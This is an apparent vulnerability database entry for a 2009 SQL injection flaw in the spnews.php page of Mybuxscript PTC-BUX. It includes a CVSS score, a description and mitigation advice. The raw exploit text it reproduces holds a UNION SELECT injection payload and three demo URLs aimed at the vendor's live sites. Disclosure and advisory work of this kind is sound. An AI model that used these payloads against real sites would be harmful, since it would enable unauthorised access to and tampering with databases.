Mybuxscript PTC-BUX (spnews.php) SQL Injection Vulnerability

vendor:

PTC-BUX

by:

HxH

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: PTC-BUX

Affected Version From: BASIC/ADVANCE/PRO

Affected Version To: BASIC/ADVANCE/PRO

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Mybuxscript PTC-BUX (spnews.php) SQL Injection Vulnerability

Mybuxscript PTC-BUX is prone to an SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this issue to manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data. This issue affects Mybuxscript PTC-BUX versions BASIC/ADVANCE/PRO.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in an unsafe manner.

Source

Exploit-DB raw data:

------------------------------------------------------------

Mybuxscript PTC-BUX (spnews.php) SQL Injection Vulnerability

------------------------------------------------------------

Author.: HxH

Contact: HxH[at]live[dot]at

---------------------------

Script.: Mybuxscript PTC-BUX (BASIC/ADVANCE/PRO)

Home...: http://www.mybuxscript.com/index.php?cPath=1

-----------------------------------------------------

Exploit:

[~] http://localhost/Path/?p=spnews&id=-7+UNION+SELECT+1,version(),3,4--

------------------------------------------------------------------------

Demo...: 

A: http://mybuxscript.com/salescripts/ptc_basic/?p=spnews&id=-7+UNION+SELECT+1,version(),3,4--

B: http://mybuxscript.com/salescripts/ptc_advance/?p=spnews&id=-10+UNION+SELECT+1,version(),3,4--

C: http://mybuxscript.com/salescripts/ptc_professional/?p=spnews&id=-12+UNION+SELECT+1,version(),3,4--

------------------------------------------------------------------------------------------------------

Greetz.: ~ JiKo ~ The Sad Hacker ~ All No-Exploit.com Members

-------------------------------------------------------------

# milw0rm.com [2009-08-31]